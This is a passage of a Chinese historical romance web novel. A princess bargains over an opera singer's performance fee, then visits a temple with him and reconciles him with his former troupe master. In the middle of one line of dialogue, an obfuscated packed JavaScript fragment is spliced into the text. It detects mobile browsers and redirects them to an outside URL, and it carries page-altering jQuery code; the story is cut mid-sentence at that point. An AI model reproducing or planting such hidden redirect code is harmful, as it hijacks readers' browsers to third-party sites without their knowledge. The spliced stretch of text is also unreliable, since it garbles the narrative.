“我说你有病。”苻庆终于喝到一口茶润润喉咙,“宁慈心,你要发疯在你的国公府里发,在我这可没人惯着你。” “大胆!”宁慈心一拍桌子站起身,“苻庆,你一个无依无靠的孤女,侥幸被皇上封了公主,也胆敢这么对我说话?你这是以下犯上!” 不料苻庆不仅没半分惶恐,反而慢悠悠说道:“你再胡说一句,我就扇你。” 看着宁慈心错愕又愤怒而导致有些扭曲的脸,苻庆忽然想起来和程怜香见面的第一晚扇了他一巴掌的事情。如今看来程怜香真是无辜,这一巴掌还是该赏到这些疯子脸上。 “你!”宁慈心早就想打苻庆了,但环顾四周,自己只带了几个丫鬟,真打起来实在占不到什么优势,最后只能瞪着眼睛又坐回了椅子上。“算了,我大人有大量,不跟你计较。反正像你这种人,跟你计较反而失了我的身份。” 苻庆被宁慈心给自己找的台阶逗笑,在京城嫌弃她苻庆的人确实很多,但真没想到居然还能轮到宁慈心这个败家女。“还我这种人?宁慈心,你以为你在外面的名声就比我好到哪里去吗?” 宁慈心终于找到一个破绽回击苻庆,不由得呼出一口气,往椅子背上一靠,优哉游哉地开口:“看来你也知道你如今在外面的名声并不好。但如今,我愿意给你一个机会,让你的名声峰回路转。”说完,本来站在宁慈心身后的丫鬟便主动走上前,呈上端在手里的锦盒。 争吵归争吵,这种热闹苻庆还是一定要凑的,伸过脑袋一瞧,苻庆眉毛挑起。“哟?这是红宝石和点翠镶嵌的头面吧?这么多复杂的工艺,看起来可不便宜呀。” “还算你识货。”宁慈心摆出一个轻蔑的笑脸,“这套红宝石头面可是我爹从崖州花了大价钱买回来的,我告诉你,即便是你姨母,恐怕都没见过这么好的红宝石。” “宁国公忠君报国,你们宁家也就长公主殿下您能说出这么僭越的话。”苻庆嘴上不客气,也不伸手接锦盒,“无事献殷勤,你还是先说找我是为了什么事情吧。” 宁慈心见苻庆猜出自己的来意,也就不再拐弯抹角。“后天我们宁国公府要办堂会,我想请你府上的那位小戏子到我们宁国公府唱几折戏。只要你愿意,这套头面便是你的了。” 苻庆大概猜到了宁慈心葫芦里卖的是什么药。这几日京城中风言风语传得沸沸扬扬,大家都说她这个公主被一个小戏子迷得三魂没了七魄,在公主府夜夜笙歌,自然也就有好事的想要见一见程怜香到底是个什么样的人。可惜苻庆不允许程怜香出门,大家便无从探究起。 如今宁慈心借开办堂会一事邀请程怜香,估计一来是因为她也属于那个好事的人,想要看看程怜香究竟长什么模样;二来借程怜香登台的名头帮助她吸引到更多贵人前往宁国府参与堂会。对于宁慈心来说,这实在是一举多得的一步棋。 既然知道对方也不过是来找自己做个交易,那接下来最重要的便是能否博取得更多的利益,苻庆想了想,故意开口问道:“京城这么多唱戏的,你非要我府上的这个干什么?” “自然是因为苻庆公主你捧得好啊。如今京城之中谁不知你被这个小戏子迷晕了眼。偏偏你还要金屋藏娇,不许那个小戏子出门,便是我们这些高门大户也想见见那小妖精的真容啊。”宁慈心笑着睨了苻庆一眼,言语间充满了揶揄。“苻庆公主,我知道你舍不得,可是都这么些时日了,即便你再喜欢,也得让那小戏子出去见见别人不是?” 苻庆故意冷眼一笑,“既然如此,那长公主殿下到我这来做什么?程怜香的身契如今还在宫中,你若想使唤他,还要宫中做主才是。” 一想到这宁慈心便气不打一处来,冷哼一声道:“明知故问。如今谁人不知你姨母得了势?一个小门小户的女儿居然做到贵妃的位置,拿捏着协理六宫的权力不放,跟我说什么头风病犯了没法管事,让我直接到府上来问你,否则你以为你会在这跟你费口舌吗?” “自然是不会。”苻庆一听宁慈心来找自己开口便知道她已经在宫中碰了壁,宁家从前与先皇后交好,如今宁慈心见到自己姨母在后宫掌权,自然是十分不快。“既然如此,长公主殿下也不必再多说了,我要送客了。” “等等!”宁慈心见苻庆真要起身离开,连忙喊道:“你要多少银子,我让府里包好送过来!我只要那小戏子过去唱一场,你又没有什么损失,何必做得这么绝情。” 问题是你一开始说话的时候也没留情啊。苻庆在心中暗道。她若不以牙还牙以眼还眼地让宁慈心不舒服一回,她还能叫苻庆吗? “长公主殿下,怜香如今虽说是我的人,但我一向尊重他,自然便不会替他做主。”见宁慈心上了钩,提到了苻庆最感兴趣的话题,苻庆也就愿意留下再陪对方说几句话,“刚才你说什么钱不钱的,我本身也不缺,只是不知道怜香是怎么想的,自然也就不敢帮他应承。” 一听这话,宁慈心顿时来了兴趣,急忙催促道:“那你快回去问问他。你让你那宝贝放心,即便他要一千两,我此刻也是能拿得出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446105|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “既然如此,”苻庆站起身,“长公主在此稍后吧,我去问问他。” 说完,苻庆往揽晴轩走去,把宁慈心一个人扔在了正堂。 回到揽晴轩,果然看见程怜香正在吃早饭。苻庆走过去,顺手拿过程怜香的筷子夹了一块饼送到嘴里。 “你干嘛!”程怜香惊呼。“这筷子我用过了。” “没事。”苻庆嘴里嚼着饼,含含糊糊地将宁慈心的邀请告知了程怜香。 本以为这种事对于程怜香是求之不得,谁知说完后程怜香反而是愣了一会,半晌才说:“要不,还是算了吧。” 苻庆错愕,正好把嘴里的饼咽了下去,开口问道:“你居然不想去?” 程怜香看向碗里的粥,他现在的心情有些微妙。如果是原来他能被宁国公府邀请唱堂会,他一定是求之不得的。可如今他也明白对方之所以邀请他,根本不是因为他唱戏唱得好,而是前段时间苻庆为了逼走邓嬷嬷做戏做得太逼真。一想到自己如今在京城中出风头根本不是因为唱戏,而是因为出卖色相勾引女人的能力出类拔萃,程怜香便觉得心中有些微妙。 程怜香不愿说真话,随便找了个由头,“瑕英长公主蛮横无理,我们在外头也算有所耳闻。给她唱戏,我觉得晦气。” “晦气?”苻庆大惊失色,嘴巴张得能直接塞进去一个鸡蛋。“程怜香,你是不是没听明白?她可愿意给你一千两。” 见苻庆这个样子,程怜香立刻明白对方已经在他之前先看上了瑕英长公主愿意送过来的包银。见苻庆如此见钱眼开的样子,程怜香反而更不肯松口同意,揶揄着说道:“我看,你是自己想拿这个钱吧?” 苻庆又夹了口小菜送进嘴里。她当然想要这个钱,苻庆早就想明白了。对于现在的她来说,公主尊位都只是虚名,皇帝想收走随时可以收走,相比之下只有这些真真切切到了手上的银子才是最靠得住的。 见程怜香不肯同意,苻庆换了个方式劝道:“你看你这话说的,我这公主府又不缺钱。我只是觉得宁慈心有钱,这钱咱们不要白不要,便当是劫富济贫也是好的啊?” 程怜香立刻戳穿了苻庆的谎言,斜着眼瞥了对方一眼,有些不屑地说道:“你当我不知道你?就你这花钱如流水的性子,多少钱在你手里才算够啊?我看这一千两在你手里,也花不了几日。” 苻庆知道自己被程怜香看透心思,却还是执拗地不肯松口,“没有的事!我只是为你着想罢了。” 程怜香看苻庆嘴硬的样子,脑子里忽然想到一个戏弄苻庆的计划,故意先点头说道:“好,既然如此,我就接下这堂会了。” 还不等苻庆说话,程怜香话锋一转,继续说道:“只是说好,这一千两包银到时候可都是我的,你一两都不能拿。” 苻庆白高兴了一场,心中着实有些可惜。可转念一想能让程怜香把钱先拿到手也不错,反正程怜香如今是她府里的人了,来日方长,以后还怕找不着个机会敲诈程怜香把钱拿过来吗? 打定了主意,苻庆着急地端起程怜香的粥喝了一口。“好了,我去给宁慈心回话了,别让她等急了,再真跑了怎么办?” “你!”程怜香已经没心思听苻庆说话,他看着自己被喝过的粥和用过的筷子,只觉得面上红涨涨的。在戏班子里程怜香只跟师父和师弟们一同吃过饭,这样大摇大摆走进来直接用他的碗喝粥的女孩子,苻庆还是头一个。 “你怎么脸有点红啊?是不是胭脂抹多了?”苻庆看了程怜香一眼,但并未将此事放在心上,现在她眼里只有还坐在正堂中会移动的一千两银子。 时间紧迫,苻庆顺手拿过程怜香摆在一旁的手帕擦擦嘴,由于今日松醪给她用了口脂,因此不免留了些口脂颜色到手帕上。苻庆看到后担心程怜香嫌弃自己,赶紧说道:“呀,不好意思,我让松醪洗好了再还给你吧。” “不必了!”程怜香忽然站起来,一把夺过了苻庆手中的手帕,紧接着下了逐客令。“行了,你快走吧。” 苻庆有些疑惑程怜香态度的转变,但到底还是粗枝大叶的神经和想要赚钱的心思超越了一切,“那我走了!”说完,提起裙摆小步跑了出去。 看着苻庆急匆匆跑出去的背影,程怜香没说话,只是默默将那张手帕攥在了掌心。 16. 拜神 往正堂回过宁慈心的话,苻庆自然也没忘收了那套头面,因此走回揽晴轩的时候心情大好。虽说程怜香现在不愿意把钱给自己,但这门生意也算是自己介绍给程怜香的,就连宁慈心都说京城众人之所以感兴趣程怜香也要感谢自己捧得好,因此苻庆早就在心中盘算好等程怜香拿到钱后,找个时机从他手里抽一笔提成。 换下寻常衣物后,苻庆刚在暖阁中歇息一会,便听到银子送来府上的消息。倚在暖阁门框上,苻庆看着三个箱子一字在揽晴轩院子中摆开,只感觉心情都美好了不少。可惜程怜香半点情面都不留,立刻招呼人把箱子搬进了自己的卧房。 “三个大箱子,他那个屋子一共丁点大,难不成他要枕着银子睡觉吗?”见程怜香如此绝情,回屋后,苻庆指手画脚的跟松醪吐槽。 松醪捂嘴笑,又觉得自己该给程怜香说句好话,“好公主,程伶人孝顺,这钱必会想着办法塞给和春班班主,您若是真想用钱直接跟贵妃娘娘便是了,何苦盯着那笔钱呢?” 苻庆翘着腿坐在圈椅上,长腿搭在扶手上,正一晃一晃的摆动。她知道松醪的话说得有理,却还是有些不死心,只能先顺着话说道:“行吧行吧,他也不容易,这钱我就先让他多捂一会。” 过了午后,一向不会主动找苻庆说话的程怜香忽然来了暖阁。苻庆本来正趴在摆放在窗边的美人榻上晒太阳,被程怜香撞个正着。 见程怜香进屋,苻庆动都没动一下,只是抬起头问道:“你怎么突然过来了?” 其实刚才在檐下程怜香已经碰到过松醪,对方告诉他苻庆刚睡醒正在屋内发呆。程怜香本以为这意思是说苻庆正坐在书桌前发呆,再不济也是坐在圈椅上,谁知一进门便看着苻庆颇没有形象地趴在美人榻,偏偏少女的身形又因为趴卧这个姿势一览无遗。程怜香这才发现,苻庆除了脸蛋还圆圆的,实则身上早已经有了少女的曲线。 程怜香只看了一眼便愣住了,之后立刻转过身,背对着苻庆高声说道:“你这是什么样子?” 苻庆平时调戏程怜香的时候觉得他老老实实的样子挺好玩,但这时候只觉得他太死板。毕竟这种事情若是程怜香不挑明,两人这样说完话也就算了。可现在程怜香反应这么大,苻庆也怕松醪被他的声音招来发现自己坐没坐相,最终还是乖乖起身坐直,只是嘴里不忘嘟囔一句:“程怜香,你怎么比我姨母管得还多?” 听见后面悉悉索索的声音,程怜香便知道苻庆已经坐起来了,这才转回身继续说事。“我找你,是有正事的。” 苻庆如今虽坐直了,但腿还是不肯老实,正一晃一晃地用脚尖点着地面。见程怜香这样说,故意做出一个委屈的表情,嗔怪着说道:“说吧,我就知道你是个没良心的。无事不登三宝殿,没正事才不到我这来呢。” 有时候程怜香觉得苻庆其实也应该学唱戏,毕竟她每日说演就演从不用提前排练,比程怜香从前见到的许多伶人厉害多了。当然,这样大逆不道的想法程怜香不敢讲,但可以在心里偷着笑。程怜香看着苻庆,笑着说道:“有点正形。我找你是因为明日我需要出府一趟,希望你能答应。” 一听到程怜香要出门,苻庆立刻来了兴致。这几日她因为邓嬷嬷在府中一事不敢乱跑,甚至连揽晴轩都没怎么出过,实在是无聊得快发霉了。“你要去哪?” “老郎庙。后日唱戏,明日我必须去拜老郎,这是我们唱戏的规矩。” “老郎?”这还是苻庆第一次听到这种规矩,好奇地问道:“要是不拜会怎么样?” “那当然不行!”程怜香怕苻庆真的不让他出门,一时有些着急,“我们这行的规矩,上台不拜老郎庙,演什么不像什么!原先在戏班的时候,我们院子里就供着老郎神,如今我身在公主府没办法,只能去城南的老郎庙上香。” 见程怜香语速都加快了,苻庆连忙安抚他。“别着急,别着急,我不是不让你去。”苻庆站起身,“我只是好奇,问一问罢了。” 程怜香此时也意识到苻庆并非真的不想让自己出门,语气也跟着缓和下来。“那就好,你放心,明日我会早去早回的。” “我放心!”苻庆的大眼珠子咕噜咕噜转了一圈,“因为我要跟着你去。” 程怜香有些诧异,虽说他知道苻庆是个在家闲不住的性子,一有机会肯定想要往外跑。但老郎庙位于京城南边,紧挨着朱雀门。那地方不像公主府处于达官贵人聚居之所,而是真正的三教九流聚集之地。在那种地方,即便你说你是公主百姓们也不一定买账,因此大多数达官贵人是不会自降身价前往的。 “你又跟着我?” 苻庆点头,眼睛里带着可怜巴巴的哀求。“我还从来没去过城南呢,你就当带我见见世面。上次我不是也带你去见世面了吗?” 上次他明明也是被苻庆带出去作掩护的,程怜香咽下这句话,因为他想起了在耦园时苻庆帮自己说话的样子。心内一动,程怜香选择松口。“好吧,不过你可注意些,别太招摇。城南是人多眼杂,你若太招摇小心被抢。” 苻庆歪着脑袋想了想,“放心吧,还是老规矩,只不过这次我不想做小厮了,做一个小婢女我还是能行的。” 程怜香见苻庆这么感兴趣,早也说不出拒绝她的话,点头说道:“行,那明日用过早饭,咱们便早去早回。” 第二日吃过早饭,苻庆便早早地到了揽晴轩卧房。此时程怜香尚未准备好,正躲在屏风后换衣服。 苻庆今日穿了公主府婢女的衣服,头上只绾了一个小髻,簪了两朵普通的绢花。而程怜香换了一身水蓝色道袍,头上戴着墨色东坡巾,衬得他的脸更是肤白胜雪。苻庆瞧着程怜香的脸,忍不住再次感慨他实在是长得太好看了,好看到大概这世上随便一个人都很难在相貌上找到程怜香的错处。 “程怜香,若是我长你这张脸就好了,到时候不管我想做什么事都方便多了。” 程怜香已经习惯了苻庆张口就来的调戏,只是认真叮嘱道:“今日你就别带那么多钱了。我这身衣服好,身后还跟着婢女,咱们俩太容易被盯上了。” 苻庆也知道城南人口复杂,自己还是低调些为好,点头保证,“你放心,我惜命着呢,今天我都听你的。” 程怜香第一次见到如此听自己话的苻庆,虽然知道对方只不过是为了跟着出去玩的权宜之计,但心里还是止不住地开心起来,面上勾起了一个自己都未察觉的微笑。苻庆瞧见程怜香笑,还以为程怜香是为了能去拜老郎庙感到高兴,在心中默默感叹程怜香真是个一心扑在戏曲事业上的好孩子。 二人坐着马车一路到了城南老郎庙。 如今正是百花盛开的时节,城南老郎庙外风景如画,各类花朵姹紫嫣红,争相盛开。更何况老郎庙祭拜的是老郎神,来来往往的人群中多是皮肤白皙、眉眼精致的年轻伶人。在百花的映衬下,只显得人如花美、人比花娇。 苻庆从一下车便被此等美景迷住了眼睛,虽还是跟在程怜香身后,但眼睛一直不老实,正肆无忌惮地欣赏着这一出美景。谁知下一秒,便因为没留神程怜香突然停下的脚步,导致一脑袋撞在了程怜香的后背上。 “你突然停下做什么?”苻庆揉揉脑门,却还是想到自己伪装的身份而没有大声说话。 程怜香早在下车之初便看到苻庆的样子,只觉得苻庆一副浪荡子的做派,和从前自己看到的那些故意在戏班后台厮混的公子哥没什么两样,心里有些窝火。“我停下自然有我的道理,倒是你,怎么连看路都不会?” 苻庆听出来程怜香话中的不满,无奈今天她是人在屋檐下,不得不低头,因此只是偷偷翻了个白眼,小声嘀咕:“管得真多。” 程怜香没听到苻庆的吐槽,但还是觉得不解气,故意伸出手示意苻庆,“我刚才坐车有些头晕,你扶着我些。” “我?”苻庆咽下已经到了嘴边的骂人的话,低头看了看自己身上穿的衣服,努力压制下心中的怒火,最终还是上前两步伸出手扶住了程怜香的胳膊。“好,我扶着你。” 程怜香见苻庆两只手紧紧掐着自己胳膊,被她生气却又不能直接表达出来的样子逗笑,这才觉得心里畅快了一些,继续往前走去。 谁知刚走两步,程怜香又忽然停下了步子,苻庆只当是程怜香还不肯善罢甘休,忍不住生起气来,“你还想要怎样……” 话音未落,苻庆忽然发现程怜香不是故意停下,而是正盯着前方出神。顺着程怜香的视线方向看过去,苻庆正看到程清秋扶着一个头发斑白的老者上台阶。 “真是冤家路窄。”苻庆悄声说道。 程怜香本想转头就走,谁知却已经被程清秋看到。程清秋这个唯恐天下不乱的,自然不可能放过任何机会羞辱他。 “我说是谁这么眼熟,原来是师哥啊。”程清秋笑着走过来,故意福身向程怜香行礼,“师哥万福。” 若是苻庆肯定扭头就走了,可惜程怜香是个不记仇的,居然还颇有礼貌地福身回礼。“你们怎么到这来了?” “这话应该是我问你吧?”程清秋一挑眉毛,难听的话如流水般顺畅地从嘴里说出,“师哥,如今你不是攀上高枝变凤凰了吗?怎么还会出现在我们这等卑贱之地呢?您的公主殿下能愿意吗?” 程怜香面色涨红,半晌说不出话。苻庆低头听着,只觉得程怜香真是废物,每次和自己吵架的时候逻辑清晰、思路敏捷,不知道的还以为他是谏院的谏议大 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原来那人就是程怜香心心念念的那个师父,苻庆赶紧抬起头张望。虽说相隔距离有些远,但依然能够看到对方已经花白的头发和依然挺得笔直的脊背。根据程怜香和程清秋二人的年纪推算,这位程班主年纪应该也不过四十岁,甚至有可能还不到不惑之年,但却已经是头发花白,瞧着比早已经过了五十五岁寿辰的皇上还要苍老许多。苻庆联想到程怜香说起他师父身体不好的事情,忽然觉得这位程班主想必从前也是吃了不少苦头。 程清秋见程怜香还是对见师父一事不死心,向前迈了一步挡住了程怜香的目光,干脆利落地回答道:“与你何干?” 程怜香的目光转回到程清秋脸上,继续说起上次没说完的话题,“师弟,我只想给师父请个安,劳烦你帮我给师父说一声吧。” 程清秋此时已经有些不耐烦,“师哥,你怎么还不死心?师父早就说了,自宫宴结束,你和我们之间便再无瓜葛。” “小秋!”程怜香向前一步,近乎哀求着说道。“我只请安,师父若恨我,可以不同我说话。” 程清秋刚想拒绝,转念一想由自己拒绝只会让程怜香每次都记挂着此事,还不如一次让他彻底死心,因此又应承下来,“好,既然你是不到黄河心不死,那我就先帮你去问问师父,只不过最后别惹得师哥难受就好。” 看着程清秋走回去与班主说话,苻庆终于敢讲出自己的真实想法,狠狠掐了程怜香的胳膊一把,小声说道:“你是不是有毛病?怎么每次都非要热脸贴冷屁股。” 程清秋不说话,只是皱眉望着班主和程清秋。 没一会,程清秋再次走了过来。 “师哥,师父说了,既然您今天也要拜老郎,我们就先等一会再进去,省得和您冲撞了,到时候两边都不好看。至于请安的话,师父说再别讲了,您如今是贵人,师父受不住您的礼。”说完,洋洋得意地转身离开。 看着程清秋扶着程班主走远,程怜香还站在原地目送着二人的背影。苻庆由于还抓着程怜香的胳膊,因此能够清楚感受到程怜香的身体正在微微颤抖。她本觉得程怜香实在是没事找事,绝对属于是自讨苦吃。可现下见程怜香伤心成了这样,本来准备好的难听话也说不出口了。 半晌,憋出一句,“你还好吗?” 程怜香呼出一口气,低下头轻轻说道:“罢了,罢了。” 他的语速很缓慢,不知道是在说服自己接受现实,还是安慰自己至少还能再见到师父一面。 苻庆本来在上次知道程怜香竟因为自己与师父误会之后就很愧疚,谁知这个程清秋不仅不从中斡旋,还每次见面都要戳程怜香心窝子,害得苻庆愈发惭愧,现在苻庆看着程怜香这副失魂落魄的样子,偏偏自己又没立场置喙,没办法开解程怜香,因此心中更加烦躁起来。 陪着程怜香走上台阶,大殿内人来来往往却十分安静。程怜香点香过后便跪在垫子上,苻庆看众人都如此虔诚,觉得自己实在有些冒失,便赶紧走了出来。老郎庙旁边便有许多小商贩,苻庆一路看过去,最终买了看起来最干净的缠蜜。 这说白了不就是蜂蜜,应该不至于吃过之后被松醪唠叨。心里这样想着,苻庆两只手把那一小块蜂蜜在两只竹签上缠来缠去,只觉得太有意思了,下次进宫的时候应该给姨母看一看才好。 正想着,忽然看见不远处闪出两个十分熟悉的身影,原来是程班主和程清秋又回来了。苻庆停下动作,这次她终于看清楚了程班主的面容。对方虽然因为头发花白而看起来有些苍老,但脸上的皮肤依然紧致白皙,一双眼眸也是顾盼神飞,能够看出年轻时候的风采。苻庆忽然想到,不知道程怜香到他师父这个岁数会变成什么样,还能不能看出年轻时是如此惊艳的美人模样。 正想着,苻庆忽然用余光瞥见一旁不知何时起站了个嗦着手指头的小男孩,他衣服有些大,一看就是其他人的衣服改成的。苻庆见小男孩眼睛一眨不眨地盯着自己还有些奇怪,反应一会才明白他是看中了自己手中的缠蜜。 忽然,苻庆脑袋里想出一个计划。 17. 缠蜜 苻庆晃了晃手中的缠蜜,“小孩,你想吃缠蜜吗?” 小男孩点点头。 这就好办了。苻庆蹲下身,尽量露出一个人畜无害的微笑。“我可以把我手中这支缠蜜给你,但若你能按照我说的去做,你虽然损失了这支缠蜜,我却可以给你十文钱,到时候你想吃多少缠蜜都有。”说着,苻庆向不远处一指,“看见那个穿鹅黄色衣服的哥哥了吗?只要你能把我手中这支缠蜜抹他身上,这十文钱就是你的了。” 听她说完,小孩忽然咯咯一笑,“你想使坏?” 苻庆一愣,她本来还在担心小孩问自己为什么要这么做时该怎样回答,却没想到对方是个人小鬼大的,直接点出来了苻庆内心的小秘密。见自己根本不用隐瞒,苻庆也跟着笑了,“没错,我就是看不惯他。” 小男孩毫不犹豫地点头,接过苻庆递过来的缠蜜便跑了出去。还不等苻庆反应过来,便只见小孩如同一阵小旋风一般冲向程清秋,把手中的缠蜜按在了程清秋身上。 苻庆站在原地看着,果然有程班主在身旁,程清秋即便再生气也不敢发作,只是让那小男孩好好看路便让小男孩走了。没一会,小孩绕了一圈才回到苻庆身边,小手一摊,“钱。” 苻庆被小孩的机灵样子逗乐,心中感慨这小孩未来必然有大出息,同时乖乖拿出十文钱放在小孩手心。只是到底因为对方是小孩,还是仔细叮嘱道:“买了缠蜜,剩下的钱好好藏起来。别乱花,也别让人抢去了。” “我知道。”小孩拿过钱,一枚枚数了起来。 看着这个像小豆丁一般的孩子低头数钱的认真模样,再想到程怜香面对程清秋时什么也说不出来的委屈样子,苻庆忍不住叹气。“若是庙里那个能有你一半聪明,姐姐也就不必在这自掏腰包费事了。” 再抬头,果然看见程清秋将程班主扶到一旁石凳坐下后,便小跑着走开了。 这便是苻庆刚才想到的计划。她想到伶人拜老郎神如此虔诚,肯定不会允许自己穿着沾了糖渍的衣服进入正殿。而程班主身子不好,好不容易到了老郎庙,肯定不会有再跟着程清秋回去一趟的道理。到时候等程清秋一走,想见到程班主不就简单了许多? 苻庆和那小孩道别,站起身往程班主方向走去。 “班主。” 程班主抬头,眼神中透着迷茫。“你是……” 苻庆微微屈膝行礼,“奴婢是公主府的婢女,今日跟着程伶人一同来上香的。” “怪不得我觉得眼熟。”程班主站起身,“不知姑娘找我所为何事?” 苻庆不知道程清秋多久才能够回来,因此现在也没有时间跟程班主打哑谜,开门见山说道:“我只是奇怪,程班主看起来明明是个菩萨心肠的人,却为何在对待程伶人一事如此不近人情?” 像是没想到苻庆会开口说起这件事,程班主愣了半晌才开口说道:“怜香如今已经是大内的人了,我不过是一个戏班子班主,自然不能受他的礼。” 见程班主选择避重就轻,苻庆立刻意识到程班主是个聪明人,“班主明知道我在说什么,”苻庆微笑,“班主既然明白程伶人如今是大内的人,便更应该知道许多事程伶人本身也做不得主。既然整件事并非程伶人本愿,您又为何揪着他不肯放,连见他一面都不肯呢?” 班主不说话,只是转过头看着树上一簇簇的海棠花。海棠花低垂着,粉红色花瓣被绿叶压在底下,一眼看去竟有些垂头丧气的意味。 苻庆看出程班主心中大约也在挣扎,想到他不见程怜香或许是有旁的隐情,继续劝导:“程伶人是您一手带大的,他是什么样的人难道您还不清楚?难道您真的相信是程伶人是上赶着攀高枝的那种人?您纵然不信旁人,也不应当不信您自己的判断。若您真觉得程伶人心志不坚,又为何捧他来唱主角呢?” “皇宫宫墙高大,宫规森严,是我们这些平头百姓此生不敢肖想的地方。可对于宫内人来说,宫外这些生活又是他们绝不该留有幻想的。”班主面上笑着,眉头却慢慢拧成一个疙瘩,“怜香是个死心眼的,若让他知道戏班还有他的位置,难保他不会做出蠢事来。我从他四岁上养到今日,十几年学戏是为了保他活命,不是教他去死的。” 苻庆终于明白了程班主的顾虑。对于程班主来说,自己就是个飞扬跋扈、无法无天的公主,若程怜香一心反抗,难保不会激怒自己,甚至会因此惹怒贵妃和皇上,到时候等待程怜香的便只有死路一条。可若是让程怜香知道师徒恩义已决,他即便离开公主府也已无退路,反而有可能乖乖听话,留住一条性命。 “班主用心良苦,只怕是程伶人辜负了班主的好意。”苻庆想起程怜香刚到府上时做出来的事情,不自觉笑出来,“您不知道,程伶人刚入府便大骂公主,还闹了三日绝食,颇有些宁为玉碎、不为瓦全的气节呢。” 程班主一愣,半晌并没有笑,而是微微对苻庆躬身说道:“都怪我,是我没把他教好,惹贵人生气了。我知道贵人心善,还望贵人能够大人不记小人过,不要太为难他。” 苻庆本来还笑着,听到班主这话,忽然愣住了, 程班主的眼睛注视着苻庆,“贵人慈悲,对怜香很好不说,甚至还愿意为了怜香记挂我,不惜辗转多次为我送钱送药。我一介平民,有何德何能劳动贵人做这些事?” 苻庆还想着继续隐瞒,负隅顽抗,“班主说什么呢?我不过是伺候程伶人的一个小婢女,您刚才说的这些我一概都不知道。” 程班主并没有辩解,不动声色继续说道:“贵人,怜香是个傻的,但绝没有坏心。他四岁便被父母卖给我,十几年来学戏勤勤恳恳,不曾荒废过一日。我知道贵人是个心善的,若他日后真惹得贵人厌烦,还求贵人能看在他至少还会唱戏的份上,就当在府中养了只家雀儿,给他口饭吃,不要让旁人作践他。” 苻庆这时候已经完全确定程班主认出了自己的真实身份,但她并没有感觉到被冒犯,反而被程班主的话稍稍震惊到了。原先一直她还不明白程怜香到底为何会他这个做师父的如此尊重,即便被程清秋一而再再而三地戏弄讥讽也要再见师父一面。如今却明白了,看来这十几年中程班主对程怜香的好,便如同姨母对自己一般。 没有姨母,苻庆如今早已成为一抔黄土;没有程班主,恐怕程怜香也早已经活不成了。 苻庆呼出一口气,没有再继续隐瞒,而是歪着脑袋,饶有兴致地问道:“班主是怎么认出我的?” “贵人气派不凡,一眼便能看出。也就小秋是个没眼神的,刚才居然还敢对贵人出言不逊。”程班主再次微微欠身,“还望贵人不要放在心上。” “班主放心吧,我也是个傻的,有些话听过便忘了。”苻庆点头还礼,“只是刚才班主也知道了,您徒弟实在是认死理,您虽是一番好意,可若是最终反而惹得两边难过,就没有必要了。” 程班主还想再说什么,被苻庆制止住。 苻庆认真地对程班主说道:“班主,在这整件事中,我们都有责任,唯独程怜香是无辜的。因此,我不能允许最后反而只有程怜香被至亲误会、被至亲抛弃。我知道您是为他好,但……”苻庆莞尔一笑,“这世上不如意的事已经如此多了,既然一开始是出于好意,为何最后却要伤人的心呢?” 程班主看着苻庆,神情似乎有些惊讶,半晌又释怀般笑起来。 “贵人说的是,是我欠考虑了。” 见程班主道谢,苻庆自然不敢受他的礼,忙摆摆手,“您可别这么说,到时候程怜香还以为是我仗势欺人、挟持您过去的,他又绝食怎么办?” 程班主爽朗一笑,非常有信心地说道:“贵人放心吧,我觉得怜香日后是不会再闹绝食了。” 苻庆一开始不明白程班主何出此言,想了想又觉得程班主说得有理,跟着点头道:“也对,只要您身子好好地,还愿意和他说话,我想程怜香即便是想着您也不敢再绝食了。” “不只是我,只怕他如今舍不得的东西更多。”程班主露出一个微笑,却并不解释,转而拜托苻庆道:“我腿脚不便,若贵人愿意帮忙,还要劳烦贵人带怜香过来见我。” “您放心吧。”苻庆见程班主松口,赶紧小跑着往老郎庙正殿跑过去。正好此时程怜香也已经上香完毕,正四处张望着向外走来。 “程伶人!” 程怜香听到苻庆的呼喊,循着声音终于看清苻庆位置,立刻小跑着来到苻庆身边。 “你跑哪去了?吓死我了。” “我还能走丢了?”苻庆没有注意到程怜香的紧张,只是拉着程怜香的胳膊赶紧向外走去。“外头有人等你呢,快走。” 谁知拉着程怜香到了海棠树下,却见到换了一身衣服的程清秋正要搀扶程班主起身。 程清秋一会工夫跑了这一大圈,正憋着一肚子气,见到程怜香只觉得刚好找到一个出气筒,大声呵斥道:“你怎么又过来了?你到底想要干什么啊?” “我们……”苻庆刚准备对程清秋讲明前因后果,却被程怜香轻轻拉到身后。 “你别生气,我们就要走了。”程怜香不知道苻庆早已与程班主说好,只以为自己是侥幸才能够如此近距离再见到师父一面,此时已经觉得满足。撑起一个笑脸,拱手向程班主行了一个礼便要拉着苻庆离开。 “怜香,过来。” 程怜香愣了一下,接着赶紧抬起头看向程班主的方向,再确定对方真的是叫自己过去的时候,眼眶立刻红了。 程清秋睁大眼睛,“师父?” “小秋,我同你师哥有话要讲。”程班主微笑着,从袖子中拿出钱袋递给程清秋,“你去买两支缠蜜,和这位小女使一人一支。” 程清秋还有些搞不清楚状况,苻庆却已经飞快上前向班主道过谢。走到程清秋面前笑得得意洋洋,故意一字一顿地对程清秋说道:“走吧,小秋。” 最终,苻庆和程清秋在不远处一人拿着一只缠蜜舔着,远远看着程班主和程怜香说着话。 缠蜜甜甜的,很好吃。苻庆伸出舌头舔了舔嘴唇,也是蜂蜜的味道。 “你羡慕吗?”苻庆忽然开口问道。 程清秋答得飞快,“不羡慕。” 苻庆一笑,扭头看向程清秋,“你不羡慕怎么知道我说的是羡慕什么?” 程清秋也反应过来自己的欲盖弥彰太过明显,只含着糖不说话。 “若一个孩子还好,可要是两个孩子,做父母的就很难把一碗水端平。”苻庆忽然想起和自己从小打到大的表弟,自他被立为太子后两人便很难见面,也不知道他最近在东宫过得怎么样。“有时候生气是难免的,可到最后到底还是骨肉至亲,又有多大的仇怨呢?更何况,你师哥脑子笨,你就当让让他呗。” “你在说什……我哪有……我…… 